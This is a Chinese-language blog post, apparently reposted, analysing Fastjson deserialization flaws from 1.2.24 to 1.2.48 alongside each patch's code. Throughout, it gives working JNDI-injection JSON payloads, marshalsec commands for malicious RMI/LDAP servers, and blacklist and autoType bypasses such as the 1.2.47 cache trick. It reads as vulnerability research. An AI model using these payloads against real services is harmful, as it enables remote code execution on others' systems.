转载

Fastjson反序列化漏洞 1.2.24-1.2.48

讲漏洞前先来说下一些利用方式

来看下第一次漏洞的Poc，一个JNDI注入的利用

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

个人理解就是， JdbcRowSetImpl 这个类的 dataSourceName 支持传入一个rmi的源。

当解析这个uri的时候，就会支持rmi远程调用，去指定的rmi地址中去调用方法。

当远程rmi服务找不到对应方法时，可以指定一个远程class让请求方去调用，从而去获取我们恶意构造的class文件，从而RCE。

还有过程类似的LDAP利用方式

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit","autoCommit":true}"

可以用 https://github.com/mbechler/marshalsec 很方便的启这两个服务

java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8080/test/#Exploit

java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/test/#Exploitt

需要注意的来了，这两种利用方式 有java版本限制 （一开始坑死我了）

基于rmi的利用方式：适用jdk版本： JDK 6u132 , JDK 7u122 , JDK 8u113 之前。
基于ldap的利用方式：适用jdk版本： JDK 11.0.1 、 8u191 、 7u201 、 6u211 之前。

因为java官方觉得让服务去请求远程的类的确是一个很危险的操作，所以在后来的版本中默认将这个功能关掉了。

可以看到ldap的利用范围是比rmi要大的，所以更推荐ldap的利用方式。

Fastjson 反序列化历程

1.2.24

修复前

类似于Jackson，Fastjson中也支持指定类的反序列化，只需要在json的key中添加 @type 即可。

但是一开始Fastjson是默认支持这个属性的，就是默认就可以反序列化任意类，自然而然地漏洞也就来了。

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.23</version>
</dependency>

payload = "{/"@type/":/"com.sun.rowset.JdbcRowSetImpl/",/"dataSourceName/":/"ldap://localhost:9999/Exploit/", /"autoCommit/":true}";
JSONObject.parseObject(payload);

就可以成功反序列化RCE，无需别的前置条件

修复后

再运行上面那段代码就会爆出这条错误

Fastjson反序列化漏洞 1.2.24-1.2.48

跟进可以看到新增了 checkAutoType 这个函数

可以看到我们这里的操作是被黑名单给拦截了

for (int i = 0; i < denyList.length; ++i) {
    String deny = denyList[i];
    if (className.startsWith(deny)) {
        throw new JSONException("autoType is not support. " + typeName);
    }
}

Fastjson反序列化漏洞 1.2.24-1.2.48

不仅如此，fastjson还默认关闭了反序列化任意类的操作，需要手动开启才行。

https://github.com/alibaba/fastjson/wiki/enable_autotype

1.2.42

修复前

这时候出现了第一次补丁的绕过（实际跟着看了下，发现其实好简单！）

在后面的 TypeUtils.loadClass 真正加载class类时，有这样一段代码

if (className.charAt(0) == '[') {
    Class<?> componentType = loadClass(className.substring(1), classLoader);
    return Array.newInstance(componentType, 0).getClass();
}

if (className.startsWith("L") && className.endsWith(";")) {
    String newClassName = className.substring(1, className.length() - 1);
    return loadClass(newClassName, classLoader);
}

可以看到在黑名单检测之后，当开头有 [ 或者 L 和 ; 时会去掉这些字符，从而造成了黑名单的绕过

所以可以通过如下方式进行攻击，不过需要手动开启 autoType ，至少相较于第一版的危害范围要小一些。（实测用 [ 时解析会报错。

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{/"@type/":/"Lcom.sun.rowset.JdbcRowSetImpl;/",/"dataSourceName/":/"ldap://localhost:9999/Exploit/", /"autoCommit/":true}";
JSONObject.parseObject(payload);

修复后

if ((((BASIC
    ^ className.charAt(0))
    * PRIME)
    ^ className.charAt(className.length() - 1))
    * PRIME == 0x9198507b5af98f0L)
{
    if ((((BASIC
        ^ className.charAt(0))
        * PRIME)
        ^ className.charAt(1))
        * PRIME == 0x9195c07b5af5345L)
    {
        throw new JSONException("autoType is not support. " + typeName);
    }
    // 9195c07b5af5345
    className = className.substring(1, className.length() - 1);
}

大致意思就是，假如开头和结尾是 L 和 ; 就将头和尾去掉，再进行黑名单验证

还将之前的黑名单验证变成了hash的方式，防止安全人员进行研究

Fastjson反序列化漏洞 1.2.24-1.2.48

感觉这个确实好好绕过，再加一层 L 和 ; 不就可以了。

LLcom.sun.rowset.JdbcRowSetImpl;;

1.2.43

由于上个补丁的愚蠢方式，所以很快又出了这个补丁。

if ((((BASIC
    ^ className.charAt(0))
    * PRIME)
    ^ className.charAt(className.length() - 1))
    * PRIME == 0x9198507b5af98f0L)
{
    if ((((BASIC
        ^ className.charAt(0))
        * PRIME)
        ^ className.charAt(1))
        * PRIME == 0x9195c07b5af5345L)
    {
        throw new JSONException("autoType is not support. " + typeName);
    }
    // 9195c07b5af5345
    className = className.substring(1, className.length() - 1);
}

开头两个 LL 就会被抛出异常（好简洁暴力。。）

1.2.45

这回的绕过是黑名单被绕过，新增了个 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 的黑名单，由于在项目中使用的频率也较高，所以影响范围也比较大。

payload

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:9999/Exploit"}}

1.2.47

修复前

在后面的防御便是不断的添加黑名单列表，此时推荐大佬的项目，通过黑名单hash找到对应的类名

https://github.com/LeadroyaL/fastjson-blacklist

直到后来有一天，宁静的日子被打破，又出现了一个通杀洞，无需开启 autotype 通杀。（小声bb一句hw期间出了好多大洞

String payload = "{/"a/":{/"@type/":/"java.lang.Class/",/"val/":/"com.sun.rowset.JdbcRowSetImpl/"},/"b/":{/"@type/":/"com.sun.rowset.JdbcRowSetImpl/",/"dataSourceName/":/"ldap://localhost:9999/Exploit/",/"autoCommit/":true}}}";
JSONObject.parseObject(payload);

可以来看下这个json

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Exploit", 
        "autoCommit": true
    }
}

据说其实这个payload一开始是被分为两段来打的，后来老哥们发现可以合成一段来发送，就避免了LB的干扰，导致payload打到不同的服务器。

可以一起来看下到底是怎么绕过 autotype 和黑名单验证的。

一开始反序列化的是 java.lang.Class 这个类，调试跟进可以看到是从 checkAutoType 这一段代码中获取到的类。

if (clazz == null) {
    clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
    if (expectClass != null
        && clazz != java.util.HashMap.class
        && !expectClass.isAssignableFrom(clazz)) {
        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    }

    return clazz;
}

这个 deserializers 在一开始会对其中放入许多常用的类

private void initDeserializers() {
    ... // 太多了，就不贴了
}

然后在紧跟的代码中就直接返回了，还没到原本 autoTypeSupport 的判断。猜测本意是让Fastjson可以任意序列化一些基础的类。然后通过 java.lang.Class 获取到了 com.sun.rowset.JdbcRowSetImpl 类，然后重点来了。

在 loadClass 中，可以看到假如 cache 为true，就会把获取到的类缓存到 mapping 中（应该是为了提高效率）

ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
    clazz = contextClassLoader.loadClass(className);
    if (cache) {
        mappings.put(className, clazz);
    }
    return clazz;
}

然而这个 cache 在传入的时候默认就是 true

public static Class<?> loadClass(String className, ClassLoader classLoader) {
    return loadClass(className, classLoader, true);
}

于是，触发到第二段payload的时候，在 checkAutoType 函数中，就直接从缓存中获取到了 com.sun.rowset.JdbcRowSetImpl 这个类

if (clazz == null) {
    clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
    clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
    if (expectClass != null
        && clazz != java.util.HashMap.class
        && !expectClass.isAssignableFrom(clazz)) {
        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    }

    return clazz;
}

然后也是一样在还没有判断黑名单和 com.sun.rowset.JdbcRowSetImpl 的验证之前就return了。

修复后

将之前的 loadClass 中默认 cache 设置成了false。

public static Class<?> loadClass(String className, ClassLoader classLoader) {
    return loadClass(className, classLoader, false);
}

所以在第一次获取到 com.sun.rowset.JdbcRowSetImpl 这个类之后就不会缓存，到第二次的payload时也就取不到缓存的类，也就会进入到黑名单和 com.sun.rowset.JdbcRowSetImpl 的验证中了。

原文 https://www.kingkk.com/2019/07/Fastjson反序列化漏洞-1-2-24-1-2-48/

正文到此结束

所属分类： Java 编程技术

本文标签： rmi https UI parse autocommit JDBC git map 解析 http HashMap db 安全 App src id ldap apr CTO lib mmap ssl find 代码 dataSource iBATIS 服务器 tar GitHub list IO apache 漏洞 key cache 2019 java js 调试 json kk 缓存
版权声明： 本文为互联网转载文章，出处已在文章中说明(部分除外)。如果侵权，请联系本站长删除，谢谢。
本文海报： 生成海报一生成海报二

其他链接

关于本站

本站定位：个人技术类博客

本站作用：写博客、记日志、闲聊扯淡鼓捣技术。

问题交流

Fastjson反序列化漏洞 1.2.24-1.2.48

Fastjson 反序列化历程

1.2.24

修复前

修复后

1.2.42

修复前

修复后

1.2.43

1.2.45

1.2.47

修复前

修复后

热门推荐

相关文章

说给你听

本文目录

随机标签

书籍教程

近期评论

网站信息

其他链接

关于本站

问题交流